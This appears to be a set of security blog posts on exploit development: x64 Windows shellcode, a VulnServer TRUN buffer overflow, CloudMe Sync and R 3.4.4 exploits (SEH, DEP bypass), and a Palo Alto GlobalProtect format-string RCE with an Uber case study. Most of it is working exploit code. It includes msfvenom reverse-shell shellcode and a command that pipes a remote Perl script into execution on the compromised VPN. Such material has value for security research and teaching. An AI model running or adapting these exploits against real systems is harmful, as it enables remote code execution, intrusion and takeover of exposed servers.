add rsp, 0x10                 ; Clean space for user32.dll string
mov r15, rax                  ; Base address of user32.dll in R15

The function will return the base address of the user32.dll module into RAX and we will save it in the R15 register.

Find the address of SwapMouseButton function

We have the address of GetProcAddress, the base address of user32.dll and we know the function is called “SwapMouseButton”. So we just need to call GetProcAddress(user32.dll, “SwapMouseButton”);

Please note that when we allocate space on stack for the function call, we do not allocate anymore 0x30 (48) bytes, we allocate only 0x28 (40) bytes. This is because to place our string (“SwapMouseButton”) on the stack we use 3 PUSH instructions, so we get 0x18 (24) bytes of data, which is not a multiple of 16. So we use 0x28 instead of 0x30 to align the stack to 16 bytes.

; Call GetProcAddress(user32.dll, "SwapMouseButton")

xor rcx, rcx                  ; RCX = 0
push rcx                      ; Push 0 on stack
mov rcx, 0x6e6f7474754265     ; eButton
push rcx                      ; Push on the stack
mov rcx, 0x73756f4d70617753   ; SwapMous
push rcx                      ; Push on stack
mov rdx, rsp                  ; SwapMouseButton
mov rcx, r15                  ; User32.dll base address
sub rsp, 0x28                 ; Allocate stack space for function call
call rdi                      ; Call GetProcAddress
add rsp, 0x28                 ; Cleanup allocated stack space
add rsp, 0x18                 ; Clean space for SwapMouseButton string
mov r15, rax                  ; SwapMouseButton in R15

GetProcAddress will return in RAX the address of SwapMouseButton function and we will save it into R15 register.

Call SwapMouseButton

Well, we have its address, it should be pretty easy to call it. We do not have any issue as we previously cleaned up and we do not need to alter the stack in this function call. So we just set the RCX register to 1 (meaning true) and call it.

; Call SwapMouseButton(true)

mov rcx, 1    ; true
call r15      ; SwapMouseButton(true)

Find the address of ExitProcess function

As we already did before, we use GetProcAddress to find the address of ExitProcess function exported by the kernel32.dll. We still have the kernel32.dll base address in RBX (which is a nonvolatile register and this is why it is used) so it is simple:

; Call GetProcAddress(kernel32.dll, "ExitProcess")

xor rcx, rcx                 ; RCX = 0
mov rcx, 0x737365            ; ess
push rcx                     ; Push on the stack
mov rcx, 0x636f725074697845  ; ExitProc
push rcx                     ; Push on stack
mov rdx, rsp                 ; ExitProcess
mov rcx, rbx                 ; Kernel32.dll base address
sub rsp, 0x30                ; Allocate stack space for function call
call rdi                     ; Call GetProcAddress
add rsp, 0x30                ; Cleanup allocated stack space
add rsp, 0x10                ; Clean space for ExitProcess string
mov r15, rax                 ; ExitProcess in R15

We save the address of ExitProcess function in R15 register.

ExitProcess

Since we do not want to let the process to crash, we can “gracefully” exit by calling the ExitProcess function. We have the address, the stack is aligned, we have just to call it.

; Call ExitProcess(0)

mov rcx, 0     ; Exit code 0
call r15       ; ExitProcess(0)

Conclusion

There are many articles about Windows shellcode development on x64, such as this one or this one, but I just wanted to tell the story my way, following the previously written articles.

The shellcode is far away from being optimized and it also contains NULL bytes. However, both of these limitations can be improved.

Shellcode development is fun and swithing from x86 to x64 is needed, because x86 will not be used too much in the future.

Or course, I will add support for Windows x64 in Shellcode Compiler.

If you have any question, please add a comment or contact me.

Windows-Based Exploitation — VulnServer TRUN Command Buffer Overflow

8 July 2019 at 16:07

Vulnserver.exe

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.

before we trying to exploit lets explore how this problem works. We identify that this program is a tiny server which exposes a set of commands

help

lets disassembly our TRUN command . how it looks like and it is comparing if it is equal to TRUN by calling _strncmp . So lets add a breakpoint at the top the block ,and dig more

TRUN

we notify it’s checking if the first character of the remaining input is 2EH which is translated to ASCII as .

dot

Let’s debug again but now with an input that starts with a ..

By stepping over a bit further there is an interesting function being called which is named _Function3. using F7 to step into the function we can see that the function copies the content , but there are not any checks for buffer boundaries. literally we could overwrite it

vulnerable

Fuzzing the Vulnserver

we write a simple Fuzzer to replicate the check unexpected crashes incrementing by 200 bytes each time with the following code:

#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
  buffer.append("A"*counter)
  counter=counter+200

for string in buffer:
  print "Fuzzing PASS with %s bytes" % len(string)
  s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  connect=s.connect(('192.168.0.27',9999))
  s.recv(1024)
  s.send(('TRUN .' + string + '\r\n'))
  s.recv(1024)
  s.send('EXIT\r\n')
  s.close()

we can see the Vulnserver stop working at 2100 bytes.

Vulnserver

  • Replicating the Crash *

From our fuzzer output, we can deduce that Vulnserver has a buffer overflow vulnerability when a TRUN command with a random strings about 2100 bytes is sent to it.

#!/usr/bin/python
import socket
import struct


payload = 'A' * 2100 

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Controlling EIP

We sent 2100 ‘A’ characters and EIP was overwritten with 41414141, which is the hex code of the ‘A’ character. EIP was overwritten with our buffer. If we find the position of the EIP in our buffer, then we can overwrite it with any value.

Vulnserver_1

to check the exact match of our crash execute the another tool called gdb-peda with the following

Vulnserver_2

Update the PoC script the following: First send 2006 A character, then send 4 B, then C characters.

#!/usr/bin/python
import socket
import struct

payload = 'A' * 2006 + "B" * 4 + "C" * (3500-2006-4)

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Check bad characters

Depending on the application, vulnerability type, and protocols in use, there may be certain characters that are considered “bad” and should not be used in your buffer, return address, or shellcode

we generate a bytearray from the immunity debugger:

Vulnserver_3

the bytearray generated from immunity debugger we update our PoC with them to see what are our bad chars

#!/usr/bin/python
import socket
import struct

badchars =  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a"
badchars += "\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15"
badchars += "\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b"
badchars += "\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36"
badchars += "\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41"
badchars += "\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
badchars += "\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57"
badchars += "\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
badchars += "\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d"
badchars += "\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
badchars += "\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83"
badchars += "\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e"
badchars += "\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
badchars += "\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4"
badchars += "\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
badchars += "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba"
badchars += "\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
badchars += "\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars += "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb"
badchars += "\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6"
badchars += "\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1"
badchars += "\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc"
badchars += "\xfd\xfe\xff"

payload = 'A' * 2006 + "B" * 4 + "C" * (3500-2006-4-len(badchars))

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

we lauch our PoC and check the output

Vulnserver_4

we have a badchar 0x00 , but I will need to check if there are any other bad char repeating the same process again.

we genarate our new bytearray , but execluding our bad char from the first output.

!mona bytearray -cpb "\x00"

we compare again if any byte were modified from the crash to see our badchar, and we don’t have anyother badchar

Vulnserver_5

Redirecting the Execution Flow

In this step we have to check the registers and the stack. We have to find a way to jump to our buffer to execute our code. ESP points to the beginning of the C part of our buffer. We have to find a JMP ESP or CALL ESP instruction. Do not forget, that the address must not contain bad characters!

Vulnserver_6

Generating Shellcode with Metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=8080 -b “\x00” -f python -v shellcode

Place the generated code into the PoC script and update the buffer, so that the shellcode is placed after the EIP, in the C part. Place some NOP instructions before the shellcode. (NOP = 0x90) The final exploit:

#!/usr/bin/python
import socket
import struct

shellcode =  ""
shellcode += "\xb8\xc5\x97\xc9\x70\xdb\xc1\xd9\x74\x24\xf4\x5b"
shellcode += "\x2b\xc9\xb1\x52\x31\x43\x12\x03\x43\x12\x83\x06"
shellcode += "\x93\x2b\x85\x74\x74\x29\x66\x84\x85\x4e\xee\x61"
shellcode += "\xb4\x4e\x94\xe2\xe7\x7e\xde\xa6\x0b\xf4\xb2\x52"
shellcode += "\x9f\x78\x1b\x55\x28\x36\x7d\x58\xa9\x6b\xbd\xfb"
shellcode += "\x29\x76\x92\xdb\x10\xb9\xe7\x1a\x54\xa4\x0a\x4e"
shellcode += "\x0d\xa2\xb9\x7e\x3a\xfe\x01\xf5\x70\xee\x01\xea"
shellcode += "\xc1\x11\x23\xbd\x5a\x48\xe3\x3c\x8e\xe0\xaa\x26"
shellcode += "\xd3\xcd\x65\xdd\x27\xb9\x77\x37\x76\x42\xdb\x76"
shellcode += "\xb6\xb1\x25\xbf\x71\x2a\x50\xc9\x81\xd7\x63\x0e"
shellcode += "\xfb\x03\xe1\x94\x5b\xc7\x51\x70\x5d\x04\x07\xf3"
shellcode += "\x51\xe1\x43\x5b\x76\xf4\x80\xd0\x82\x7d\x27\x36"
shellcode += "\x03\xc5\x0c\x92\x4f\x9d\x2d\x83\x35\x70\x51\xd3"
shellcode += "\x95\x2d\xf7\x98\x38\x39\x8a\xc3\x54\x8e\xa7\xfb"
shellcode += "\xa4\x98\xb0\x88\x96\x07\x6b\x06\x9b\xc0\xb5\xd1"
shellcode += "\xdc\xfa\x02\x4d\x23\x05\x73\x44\xe0\x51\x23\xfe"
shellcode += "\xc1\xd9\xa8\xfe\xee\x0f\x7e\xae\x40\xe0\x3f\x1e"
shellcode += "\x21\x50\xa8\x74\xae\x8f\xc8\x77\x64\xb8\x63\x82"
shellcode += "\xef\x07\xdb\x8c\xe2\xef\x1e\x8c\xe3\x7f\x97\x6a"
shellcode += "\x71\x90\xfe\x25\xee\x09\x5b\xbd\x8f\xd6\x71\xb8"
shellcode += "\x90\x5d\x76\x3d\x5e\x96\xf3\x2d\x37\x56\x4e\x0f"
shellcode += "\x9e\x69\x64\x27\x7c\xfb\xe3\xb7\x0b\xe0\xbb\xe0"
shellcode += "\x5c\xd6\xb5\x64\x71\x41\x6c\x9a\x88\x17\x57\x1e"
shellcode += "\x57\xe4\x56\x9f\x1a\x50\x7d\x8f\xe2\x59\x39\xfb"
shellcode += "\xba\x0f\x97\x55\x7d\xe6\x59\x0f\xd7\x55\x30\xc7"
shellcode += "\xae\x95\x83\x91\xae\xf3\x75\x7d\x1e\xaa\xc3\x82"
shellcode += "\xaf\x3a\xc4\xfb\xcd\xda\x2b\xd6\x55\xea\x61\x7a"
shellcode += "\xff\x63\x2c\xef\xbd\xe9\xcf\xda\x82\x17\x4c\xee"
shellcode += "\x7a\xec\x4c\x9b\x7f\xa8\xca\x70\xf2\xa1\xbe\x76"
shellcode += "\xa1\xc2\xea"

payload = 'A' * 2006 + struct.pack("<L",0x625011AF) + '\x90' * 16 + shellcode

try:
    print "\nSending tons of random bytes..."
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.0.24',9999))
    s.recv(1024)
    s.send(('TRUN .' + payload + '\r\n'))
    s.recv(1024)
    s.send('EXIT\r\n')
    s.close()
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 9999 for some reason..."

Done! Wonder if we got that shell back?

Vulnserver_7

CloudMe Sync <= v1.10.9

8 July 2019 at 16:07

Product:

CloudMe Sync <= v1.10.9

CloudMe is a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software. It features a blue folder that appears on all devices with the same content, all files are synchronized between devices.

Vulnerability Type:

Buffer Overflow

CVE Reference:

CVE-2018-6892

Security Issue:

Unauthenticated remote attackers that can connect to the “CloudMe Sync” client application listening on port 8888, can send a malicious payload causing a Buffer Overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC.

CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8)

socket

In Qt5Core:

q5_network

lets try to send some junk data to our service listening at 8888

crash

this software is very easy as ASLR / SafeSEH are all set to false making the exploit reliable, and universal exploit. as we can also see the crash overwritte eip , edi , ebx in this case . we can see we have two attack vectors via SEH or Stack Based Overflow

#!/usr/bin/python
# tested on windows 7 x86 sp1 enterprise
import socket
import struct

# pop calc.exe

shellcode =  "\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
shellcode += "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
shellcode += "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
shellcode += "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
shellcode += "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
shellcode += "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
shellcode += "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC"


payload = "A" * 1036 + '\x25\xDF\xB8\x68' + "\x90" * 16 + shellcode

try:
    print "\nSending tons of random bytes..."
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(('192.168.0.27', 8888)) 
    client.send(payload) 
    client.close() 
    print "\nDone! Wonder if we got that shell back?"
except:
    print "Could not connect to 8888 for some reason..."

R 3.4.4 - Buffer Overflow (SEH)

9 July 2019 at 19:33

References (Source):

https://www.vulnerability-lab.com/get_content.php?id=2143

Release Date:

2018-08-27

Vulnerability Laboratory ID (VL-ID):

2143

Common Vulnerability Scoring System:

6.5

Vulnerability Class:

Buffer Overflow

Product & Service Introduction:

R is a language and environment for statistical computing and graphics. It is a GNU project which is similar to the S language and environment which was developed at Bell Laboratories (formerly AT&T, now Lucent Technologies) by John Chambers and colleagues. R can be considered as a different implementation of S. There are some important differences, but much code written for S runs unaltered under R. R is available as Free Software under the terms of the Free Software Foundation’s GNU General Public License in source code form. It compiles and runs on a wide variety of UNIX platforms and similar systems (including FreeBSD and Linux), Windows and MacOS.

(Copy of the Homepage: https://www.r-project.org/about.html )

Abstract Advisory Information:

An independent vulnerability laboratory researcher discovered a buffer overflow vulnerability in the official R v3.4.4 software.

Vulnerability Disclosure Timeline:

2018-08-27: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

R Project Product: R - Software (Windows & MacOS) 3.4.4

Exploitation Technique:

Local

Severity Level:

High

Authentication Type:

Restricted authentication (user/moderator) - User privileges

User Interaction:

No User Interaction

Disclosure Type:

Independent Security Research

Technical Details & Description:

A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software. The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. The vulnerability is marked as classic buffer overflow issue.

Proof of Concept (PoC):

The local buffer overflow vulnerability can be exploited by local attackers without user interaction and with system privileges. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:

generate payload.txt, copy contents to clipboard

pen app, select Edit, select ‘GUI preferences’

paste payload.txt contents into ‘Language for menus and messages’

select OK

pop calc

As we can see , we could notice that we could produce an exception by sending a huge amount of bytes

crash

this software is pretty basic as ASLR / SafeSEH are all set to false making the exploit reliable, and universal exploit.

we can check using:

.load pykd.pyd
!py mona modules
!py mona nosafesehaslr

we can see that this are our right modules for our reliable exploit .

-----------------------------------------------------------------------------------------------------------------------------------------
 Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
 0x643c0000 | 0x643d4000 | 0x00014000 | False  | False   | False |  False   | False  | -1.0- [Riconv.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Riconv.dll)
 0x6c900000 | 0x6e76e000 | 0x01e6e000 | False  | False   | False |  False   | False  | 3.44.8872.0 [R.dll] (C:\Program Files\R\R-3.4.4\bin\i386\R.dll)
 0x6bec0000 | 0x6c16d000 | 0x002ad000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rlapack.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Rlapack.dll)
 0x63940000 | 0x63990000 | 0x00050000 | False  | False   | False |  False   | False  | 3.44.8872.0 [graphics.dll] (C:\Program Files\R\R-3.4.4\library\graphics\libs\i386\graphics.dll)
 0x63740000 | 0x637a5000 | 0x00065000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rgraphapp.dll] (C:\Program Files\R\R-3.4.4\bin\i386\Rgraphapp.dll)
 0x71300000 | 0x713c7000 | 0x000c7000 | False  | False   | False |  False   | False  | 3.44.8872.0 [stats.dll] (C:\Program Files\R\R-3.4.4\library\stats\libs\i386\stats.dll)
 0x64c40000 | 0x64c51000 | 0x00011000 | False  | False   | False |  False   | False  | 3.44.8872.0 [methods.dll] (C:\Program Files\R\R-3.4.4\library\methods\libs\i386\methods.dll)
 0x00400000 | 0x0041b000 | 0x0001b000 | False  | False   | False |  False   | False  | 3.44.8872.0 [Rgui.exe] (C:\Program Files\R\R-3.4.4\bin\i386\Rgui.exe)
 0x6e7c0000 | 0x6e7eb000 | 0x0002b000 | False  | False   | False |  False   | False  | 3.44.8872.0 [utils.dll] (C:\Program Files\R\R-3.4.4\library\utils\libs\i386\utils.dll)
 0x6fe80000 | 0x6ff95000 | 0x00115000 | False  | False   | False |  False   | False  | 3.44.8872.0 [grDevices.dll] (C:\Program Files\R\R-3.4.4\library\grDevices\libs\i386\grDevices.dll)
-----------------------------------------------------------------------------------------------------------------------------------------

Poc Code

#!/usr/bin/python
import struct

outfile = 'payload.txt'

junk = "A" * 1012

nseh = struct.pack("<L", 0xeb069090) # jmp short 6

seh = struct.pack("<L", 0x6cbff306) # 0x6cbff306 : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:\Program Files\R\R-3.4.4\bin\i386\R.dll)


# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x09\x0a\x0d' cmd=calc.exe exitfunc=thread -f python
nops = "\x90" * 20

shellcode =  ""
shellcode += "\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
shellcode += "\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
shellcode += "\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
shellcode += "\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
shellcode += "\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
shellcode += "\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
shellcode += "\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
shellcode += "\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
shellcode += "\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
shellcode += "\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
shellcode += "\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
shellcode += "\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
shellcode += "\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
shellcode += "\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
shellcode += "\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
shellcode += "\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
shellcode += "\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

padding = "D" * (8000-1012-4-4-len(shellcode))


payload = junk + nseh + seh + nops + shellcode + padding

with open(outfile, 'w') as file:
  file.write(payload)
print "txt payload File Created\n"

R 3.4.4 - Buffer Overflow (SEH) DEP bypass

14 July 2019 at 19:33

this is the continuation of R 3.4.4 - Buffer Overflow (SEH) ,but this time we are going to cover seh based rop chain. after this is a continuation. we are going to skip some few things

to bypass DEP (prevention of data execution), We will need some things to build our rop chain for the SEH vulnerability and execute our code successfully

  • Pop pop ret not Possible
  • Code execution on stack failed
  • Rop chain
  • Bypass execution prevention
  • Way to return to our payload

I will show you in this simple image how our payload will look like

seh_rop

after we setup our stack pivot , traditional rop chain setup, and shellcode against our target as below

rop_chain

We have been able to execute mock shellcode , but we can change it by any other shellcode like reverse shell, calculators or even more malicious download - execute malware , but those things are out of topic here.

seh_rop_w00t

Attacking SSL VPN - Part 1: PreAuth RCE on Palo Alto GlobalProtect, with Uber as Case Study!

16 July 2019 at 16:00

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

SSL VPNs protect corporate assets from Internet exposure, but what if SSL VPNs themselves are vulnerable? They’re exposed to the Internet, trusted to reliably guard the only way to your intranet. Once the SSL VPN server is compromised, attackers can infiltrate your Intranet and even take over all users connecting to the SSL VPN server! Due to its importance, in the past several months, we started a new research on the security of leading SSL VPN products.

We plan to publish our results on 3 articles. We put this as the first one because we think this is an interesting story and is very suitable as an appetizer of our Black Hat USA and DEFCON talk:

  • Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs!


Don’t worry about the spoilers, this story is not included in our BHUSA/DEFCON talks.

In our incoming presentations, we will provide more hard-core exploitations and crazy bugs chains to hack into your SSL VPN. From how we jailbreak the appliance and what attack vectors we are focusing on. We will also demonstrate gaining root shell from the only exposed HTTPS port, covertly weaponizing the server against their owner, and abusing a hidden feature to take over all VPN clients! So please look forward to it ;)

The story

In this article, we would like to talk about the vulnerability on Palo Alto SSL VPN. Palo Alto calls their SSL VPN product line as GlobalProtect. You can easily identify the GlobalPortect service via the 302 redirection to /global-protect/login.esp on web root!

About the vulnerability, we accidentally discovered it during our Red Team assessment services. At first, we thought this is a 0day. However, we failed reproducing on the remote server which is the latest version of GlobalProtect. So we began to suspect if this is a known vulnerability.

We searched all over the Internet, but we could not find anything. There is no public RCE exploit before[1], no official advisory contains anything similar and no CVE. So we believe this must be a silent-fix 1-day!

[1] There are some exploit about the Pan-OS management interface before such as the CVE-2017-15944 and the excellent Troppers16 paper by @_fel1x, but unfortunately, they are not talking about the GlobalProtect and the management interface is only exposed to the LAN port

The bug

The bug is very straightforward. It is just a simple format string vulnerability with no authentication required! The sslmgr is the SSL gateway handling the SSL handshake between the server and clients. The daemon is exposed by the Nginx reverse proxy and can be touched via the path /sslmgr.

$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
        <clientcert-response>
                <status>error</status>
                <msg>Invalid parameters</msg>
        </clientcert-response>

During the parameter extraction, the daemon searches the string scep-profile-name and pass its value as the snprintf format to fill in the buffer. That leads to the format string attack. You can just crash the service with %n!

POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36

scep-profile-name=%n%n%n%n%n...

Affect versions

According to our survey, all the GlobalProtect before July 2018 are vulnerable! Here is the affect version list:

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

The series 9.x and 7.0.x are not affected by this vulnerability.

How to verify the bug

Although we know where the bug is, to verify the vulnerability is still not easy. There is no output for this format string so that we can’t obtain any address-leak to verify the bug. And to crash the service is never our first choice[1]. In order to avoid crashes, we need to find a way to verify the vulnerability elegantly!

By reading the snprintf manual, we choose the %c as our gadget! When there is a number before the format, such as %9999999c, the snprintf repeats the corresponding times internally. We observe the response time of large repeat number to verify this vulnerability!

$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real    0m1.721s
user    0m0.037s
sys     0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real    0m2.051s
user    0m0.035s
sys     0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real    0m5.324s
user    0m0.021s
sys     0m0.018s

As you can see, the response time increases along with the number of %c. So, from the time difference, we can identify the vulnerable SSL VPN elegantly!

[1] Although there is a watchdog monitoring the sslmgr daemon, it’s still improper to crash a service!

The exploitation

Once we can verify the bug, the exploitation is easy. To exploit the binary successfully, we need to determine the detail version first. We can distinguish by the Last-Modified header, such as the /global-protect/portal/css/login.css from 8.x version and the /images/logo_pan_158.gif from 7.x version!

$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT

With a specified version, we can write our own exploit now. We simply modified the pointer of strlen on the Global Offset Table(GOT) to the Procedure Linkage Table(PLT) of system. Here is the PoC:

#!/usr/bin/python

import requests
from pwn import *

url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"

strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me

fmt =  '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
    fmt += '%'+str(i)+'$p'

data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)

Once the modification is done, the sslmgr becomes our webshell and we can execute commands via:

$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr


We have reported this bug to Palo Alto via the report form. However, we got the following reply:

Hello Orange,

Thanks for the submission. Palo Alto Networks does follow coordinated vulnerability disclosure for security vulnerabilities that are reported to us by external researchers. We do not CVE items found internally and fixed. This issue was previously fixed, but if you find something in a current version, please let us know.

Kind regards

Hmmm, so it seems this vulnerability is known for Palo Alto, but not ready for the world!

The case study

After we awared this is not a 0day, we surveyed all Palo Alto SSL VPN over the world to see if there is any large corporations using the vulnerable GlobalProtect, and Uber is one of them! From our survey, Uber owns about 22 servers running the GlobalProtect around the world, here we take vpn.awscorp.uberinternal.com as an example!

From the domain name, we guess Uber uses the BYOL from AWS Marketplace. From the login page, it seems Uber uses the 8.x version, and we can target the possible target version from the supported version list on the Marketplace overview page:

  • 8.0.3
  • 8.0.6
  • 8.0.8
  • 8.0.9
  • 8.1.0

Finally, we figured out the version, it’s 8.0.6 and we got the shell back!

Uber took a very quick response and right step to fix the vulnerability and Uber gave us a detail explanation to the bounty decision:

Hey @orange — we wanted to provide a little more context on the decision for this bounty. During our internal investigation, we found that the Palo Alto SSL VPN is not the same as the primary VPN which is used by the majority of our employees.

Additionally, we hosted the Palo Alto SSL VPN in AWS as opposed to our core infrastructure; as such, this would not have been able to access any of our internal infrastructure or core services. For these reasons, we determined that while it was an unauthenticated RCE, the overall impact and positional advantage of this was low. Thanks again for an awesome report!

It’s a fair decision. It’s always a great time communicating with Uber and report to their bug bounty program. We don’t care about the bounty that much, because we enjoy the whole research process and feeding back to the security community! Nothing can be better than this!

Palo Alto GlobalProtect 資安通報

16 July 2019 at 16:00

內容

在我們進行紅隊演練的過程中,發現目標使用的 Palo Alto GlobalProtect 存在 format string 弱點,透過此弱點可控制該 SSL VPN 伺服器,並藉此進入企業內網。

回報原廠後,得知這是個已知弱點並且已經 silent-fix 了,所以並未有 CVE 編號。經過我們分析,存在風險的版本如下,建議用戶儘速更新至最新版以避免遭受攻擊。

  • Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
  • Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
  • Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3

9.x 和 7.0.x 並沒有存在風險。

細節

